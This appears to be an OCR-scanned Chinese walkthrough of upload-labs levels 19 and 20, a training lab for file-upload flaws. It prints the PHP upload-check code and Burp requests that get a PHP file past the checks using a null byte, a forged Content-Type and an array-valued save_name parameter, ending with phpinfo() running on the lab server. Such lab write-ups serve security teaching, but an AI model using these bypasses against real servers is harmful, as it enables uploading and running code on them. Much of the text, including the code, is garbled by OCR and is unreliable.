eckSi @ OneDrive

-»cls  OH ERIE
"FILE

TO WE
8 str

ve ()l

RRFET OXO0RTH KI#8 4y, iXAEshellgt bt L£T, V5 BRATEMT I SCHBEAT -

upload g +

O & 192.168.93.128/upload/upload-19.php

iTEE | Dores Oxee ORBEGTAE D2eETe OFERE O=2rs O

System Windows NT DESKTOP-42010UK 6.2 build 9200

Build Date Jan 62011 17:26:08

Configure cscriptinalogo configure js “—enable-snapshot-build” “—enable-debug-pack™ “—with-

Command 'snapshot-template=d:\php-sdkisnap_5_2wc6«86\template” "—with-php-build=d:\php-
sdkisnap_5_2wc6w86\php_build” "—with-pdo-oci=D:\php-sdkioraclelinstantclient0
\sdk shared™ "—with: =0D’\php- 10\sdk shared™ "—without-
pidweb”

Server API Apache 2.0 Handler

Virtual Directory | enabled

Support

Configuration File |C:Windows

{php.ini) Path

Loaded E\phpstudyPHPTL 1ab \php.ini

C tion File

Scan this dir for | (none)

additional .ini files

additional .ini files |(none)

parsed

PHP APl 20041225

PHP Extension 20060613




false;
null;
if (isset( ['submit')) {
if (file_exists(UPLOAD_PATH)) { // Z &+
array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jitml","asp","aspx","asa",
"asax","ascx","ashx","asmx","cer","swf","htaccess");

['save_name']; // SREIGA BT X5
pathinfo( PATHINFO_EXTENSION); // pathinfo() i /G 185724912 B, PATHINFO_EXTENSION 7528 [ 8415 #1525

— 'f\n

if(lin_array( ‘ )) { // HVBT )5 AR A AP e F AR
['upload_file'|['tmp_name'];

UPLOAD_PATH . '/
if (move_uploaded_file( , ) {
true;
else{
"B
ki
else{
"R NIZ SRR

} else {
UPLOAD_PATH . 'S RATELE,E F LAIE!

FE pathinfo X Bl F7EIRE, fbRIRF EASCHRIRIEREERE RS IE, EEAEM 008N &, XHRFRIMEASIRAF 00 ZJEH
TR, RRAE T EIE

Fk: 0x00 #ily

B B —A—#F, WA RETE T .



(Cancel)

i&k(Request)
[Fa(Raw) 16:E3(Hex) Cookies

POST /Pass—20/index. php HTTP/1.1
Host: 192.168. 93.128

Accept: text/html, application/shtml+mml, application/mml;

& O 0 LD

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

boundary 36521964153208822772213034161
Content-Length: 500

Origin: http://192. 168, 93. 128

10 Connection: close

11 Referer: http://192. 168. 93. 128/Pass-20/index. php

12 Upgrade-Insecure-Requests: 1

w© o

14 36521964153208822772213034161
15 Content-Disposition: form—data; name="upload_file”; filename:
16 Content-Type: application/octet-stream

18 <7php phpinfo(; 7>
19

365219641 53208822772213034161
” Content-Disposition: form—data; name="save_name”

Jpe

365219641 53208822772213034161
Content-Disposition: form—-data; name="submit”

29 36521964153208822

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
. 9, image/avif, image/webp, #/# ¢=0. &
Accept-Language: zh—CI, zhig=0. 8, zh-TW; ¢=0. 7, zh-HK: ¢=0. 5, en-US:q=0. 3, en; ¢=0. 2

HEWHEE T, WM EARRSUREAT TR, B G BAR R R E IR T .

MIME. J54. Xfk

2 MLAELLL UL LPa LU, B0 120
10 Cormection: close

11 Referer: http://192.168. 93.128/Pass—20/index. php

12 Upgrade-Insecure-Requests: 1

13

4 36521964153208822772213034161

& Content-Type: image/png

5 Content-Disposition: form-data; name="upload_file”; filename="phpinfo. php”

18 <7php phpinfo(); 7>

19

20

21 36521964153208822772213034161
22 Content-Disposition: form—data; name="save_name”

24 1. jpg

25 36521964153208822772213034161

26 Content-Disposition: form—data; name="submit”

28 btk
29 36521964153208822772213034161—

JRBEH T T Content-Type FB, CMFEt LAZRII T, Hilik 0x00 Bl .

Zlgprety)  E#hRaw)  1683(Hex)  Cookies

0ST /Pass~20/index. php HITP/1.1
st: 192.168.93.128

ot =

ccept-Language: zh-CN, zh; q=0. &, zh-TW, q=0. 7, zh-HK; g=0. 5, en-US q=0. 3, en; q=0. 2
 Accept-Encoding: gzip, deflate
7 Content-Type: multipart/form—data;
boundary 21964153208822
§ Content-Length: 490
9 Origin: http://192.168. 93128
10 Connection: close
11 Referer: http://192.168. 93.128/Pass—20/index. php
Upgrade-Insecure-Requests: 1

» 01 s

12
13
14 219641532068227722130341 61

15 Content-Disposition: form-data; name="upload_file”; filename="phpinfo.php”
16 Content-Type: image/png

18 <%php phpinfo(; ?>

21 219641532088;
22 Content-Disposition: form-data; name="save name”

1. php| png
25 219641532068227722130341 61
26 Content-Dispesition: form-data; name="submit”

id

21964153208822772213034161—

P
Ho

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, #/+; q=0.8
A

Biz: htt)
IERi(Respons) d= = Insg
ElgPretty)  ESRaw)  16E3(Hex)  HEAR(Render)  ERL(Headers) L.
<form enctype="multipart/form—data” method="post”>
<p> Reqt
HIFE ELME <pr
61 <input class="input_file” type="file” name="upload_file"/> Reat
82 B>
R4 #:<p>
Zinput elass="input_text” type="text” name="save name” value=" Reqt
upload-20. jpg” />
<br/f> =R
64 <input class="button” type="submit” name="submit” value="_Lft"/>
</form> Resp
i —td=Tmen™
i Ak kiR
div
<div 1d="img">
<fdivy
</li>»
<fol>
</fdiv>
<fdivy
<div id="footer”>
<center>
Copyrighténbsp; @&nbsp; <span id="copyright_time">
</span>
&nbsp; by&nbsp; <a href="http://gv7.me” target="_bank”>
conyl
<fa>
</center>
<fdiv>
<div class="mask”>
S
RIFaf <>
63 <input class="input_text” type="text” name="save_name” value="
upload-20. jpg” />
<br/>
64 <input class="button” type="submit” name="submit” value="_Lf£"/>
65 </form>
66 <div id="msg">
87 s JOfF bR
</div>
68 <div prd="sime"
89 <ine src /upload/1. jpe” wid}h='250px' />
</div>
70 <fli>
1 <fol>
72 <fdiv>
T4 <fdiv>
75 <div id="footer”>
76 C{eenter>
Copyrighté&nbsp; @nbsp; <span id="copyright_time”>
</span>
[Fra(Raw) 16:83](Hex) BRI (Render) E#iL(Headers) n = Selection 1
FMRS .
<Jp> Selected character
</1i> —
<li>
<h3>
</h[;>#‘)< Code  16#8l(Hex) v
<form enctype="mul tipart/form-data” method="post”> 00
>
WA LEOE: <> — Apply hanges
<input class="input_file” type="file” name="upload file"/>
<p‘2wmﬁx:<p> Request Attributes 2
<input elass="input_text” type="text” name="save_name” value="
upload-20. jpg” /> Request Query Parameters, [}
<br/>
<input class="button” type="submit” name="submit” value="[-{£"/> Request Body Parameters 3
</form>
<div id="msg’> Request Cookies. o
e i LRl
:é]di"jd:, R (Request Headers) 1
<img s)‘dth:'ESDpx' 2
Response Headers 6
<fdiv>
<f1i>
<fol>
</div>
<Jdiv>
<div id="footer”>
<center>
Copyrightfnbsp; @nbsp; <span id="coprright_time">
</span>

&nbsp; byénbsp; <a href="http://gv7.me” target="_bank">
<nyl



R, XE 00BN AR T, WK T0at T, EREEFIRG

false;
null;
if(!empty( ['upload_file')){
Ntz BMIME
array(‘'image/jpeg','image/png','image/gif');
if(lin_array( ['upload_file'|['type'l, )
R e i e A
}else{
NEBEX S
empty( ['save_name']) ['upload_file']['name'] : ['save_name'];
N WIRIZH EXE FREHANE, EREH & X5 F
1) if (lis_array($file)) { 7/ H/Br $file B1BHHA, LEHIIFEEDELH, ALl lis_array($file) st2True (IEIHEEEXLET )
explode('.!, strtolower($file)); // f&/F . #F1#FFE 7K, BIEIZA, striolower() KF1iFEEMHFDE

end($file); 7/ HHA R IE—ME CIFERIED
array('jpg','png’,'gif');
if (!in_array( , ) {
"2 b EARZJE SO
else{
reset($file) . "' . $file[count($file) - 11; // reset H kAL fEHI &7, FiRicount2 5132 544
['upload_file'|['tmp_name'];
UPLOAD_PATH. '
if (move_uploaded _file( , ) {
" EARRRTDY
true;
} else {

SO BRI

"HEEEE BRSO

1) KA EA B EARERSREAH, WRARHMEHexplode R BBEEA, EREAT MR $file REAMIEIR, KfF—TRHAN
RGBT .




# Sfile £ 44118
)) { // HIHF $file BTEHH
) /G

if (lis_array(
explode('.", strtolower(

b
7 1R $file 2%

, B_L # explode iZ 45t

ext = end( /it ME CJRETHIED

array('jpg','png’,'gif');
if (!in_array( ) {
EARZE R
else{
reset( ). [count( )
/X $file 21RAEAH2H, Wcount($file)-1 Bt AT LLEL
['upload_file'|['tmp_name'];
UPLOAD_PATH . '/'
if (move_uploaded_file( , ) {
"SR EARRRTDY
true;
} else {

" EAR R

lend — K HULH 1 A FBFR AT R M S — AN BT

reset — K EA M A FBIRE TR IAIE — AN BT

count — Ziit %40 . Countable Xf & fiH T&E K E
explode — i F — AN 55 8 438 55 — AN 7

EEBI A B EN RS
=1 4 g IT

1]; // reset F#Z#

& [E] %

/fl/ lis_array($file) 5t&2True (JIHIFLAEXLRT)

strtolower() K-F1FE #1 K D5

SHAT, TTREBENAT FIEHE LR

XIS, FAflcount 2 J5 72 ZIH) /5

FIRASARMER, * save_name PLR I K RFENME, save_name[0] &4 reset(
file)18, save amel2l&TEend(\ R P HETE M, BT DGR SRR, TEPHERB R wrmint( file) == 2**

4 m
ig#(Request) IEEZ (Respons) m -
3 et [FE(Raw) 1638 (Hex) Cookies in = =1k(Pretty) [FEE(Raw) 168](Hex) BT A (Render) EREk(Headers) =
1 PUST /Pass-20/index. php HITP/1.1 " ‘“i’f,,‘*

2 Host: 192.168.93.128 (A;)"
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 e etvpem mul tipart/ formodata® method="post >
4 Acecept: text/html, application/xhtml+mml, application/mml;q=0.9, image/avif, image/webp, #/#; q=0. 8 :)mj enctype= multipart/iom-data  method= post
5 Accept-Language: zh-CN, zh;q=0. 8, zh-TW,; q=0. 7, zh-HK, q=0. 5, en-US; g=0. 3, en; ¢=0. 2 p“ s
6| - ine: 5
O ccept Encoding: sip. feflute . o1 cinput class="input_file” type="file” name="upload £ile"/>
boundary 329368047313913482573416367532 - (D;-{_MJ,_( .
S Content-Length: 820 RIREEE . . . . . . .
9 \Origin: hitp://192. 168.93.128 “nput elass="input_text” type="text” name="save name” value=
10 Comnection: clese upload=20.jpg” />
11 Referer: http://192.168. 3. 128/Pass-20/index. php Sbr/> » » » » » » »
12 Upgrade Insecure-Requests: 1 64 <input class="button” type="submit” name="submit® value="_L{&
13 1 </form>
14 329368047313913482573416367532 - P EfERIN
15 Content-Disposition: form-data; name="upload_file”; filename="phpinfo.php” A e
16 Content-Type: image/png -
L7 <div id="img">
18 <7php phpinfe( ; 7 <img src=".. fupload/info. php. © width="250px" />
19
<fdivy
. _ = 70 </li>
b Content-Disposition: form-data; name="save name[0]~ ! <fol
+ 2 <fdivy
24 info. php ,; Sfdivs
S 32936804731391348257341 6367532 i T tonter=s
% Content-Disposition: form-data; name="save_name[2]” . e e
T [ <center>
e ong Copyrighténbsp; @nbsp; <span id="copyright_time”>
& - - </span>
X 329368047313913482573416367532 - S - -
) Content-Disposition: form-data, name— submit fnbsp byknbsp, ¢a href="http://gvT.me” target="_bank™>
3 cOnyl
1 ft <fa>
33 329368047313913482573416367532-— - </center>
a <fdivy
7 ¢div class="mask”>
’ <fdivy
7 <div class="dialog”>
<div el dialog-title”>

fenbsp; 7¢a href="javascript:void(0)” class="close” title=" %[>



5 i shell 3244

&= & O & 192.168.93.128/upload/info.php.

FeatE. SiFEkE Dkl Dardp Dx=ts DREBEFTIE DEETE DFsnE D=2 DEREls § 5282000 ... [0 CIF Scan_Tools

System Windows NT DESKTOP-42010UK 6.2 build 9200

Build Date Jan 62011 17:26:08

Configure cscript/nologo configure js "—enable-snapshot-build™ "—enable-debug-pack™ “—with-

Command snapshottemplate=d\php-sdkisnap_5_2WwcExB6\template” "—with-php-build=d:\php-
sdiisnap_5_2WwcBx86\php_build” "—with-pdo-oci=D:\php-sdkioraclelinstantclient10
\sdk,shared” "—with- =D:\php-sdk\or 10\sdk shared” "—without-
pidweb”

Server APl Apache 2.0 Handler

Virtual Directory  |enabled

Support

Configuration File |C:\Windows

(php.ini) Path

Loaded E'\phpstudyPHPTutor pload-labs-enviPHP\php.ini

Configuration File

Scan this dir for (none)

additional .ini files

additional .ini files [(none)

parsed

PHP API 20041225

itk RBH T

&

‘(
G

upload-labs ¥EZ k58 T, B4 TR, BRYIBALKRA, KESHRAEREFREARETRB ELHNZHEER, JEEFHREH
[R5 A 2% 25 B R 4tk A0 o [R] 44 F) — 2 i BB 4 3R 36 R O 9 TR U A e 25 FT LA Bl getshell ) B AR, 0 2Rl O MBI FBOR B AL BAAE, ZatkmT
RREHEARRRE, XN TRARNEETEARE, BERMENREDS—R, KEIMERL S RAEE  F KR TS
XphpHIRE T EARLD T, RIGHTHEREEEME, #INERER, EEEH.

A kPassH I RA K IR LLPass SRR B E A IR IR I, 5 E B TR BEE.
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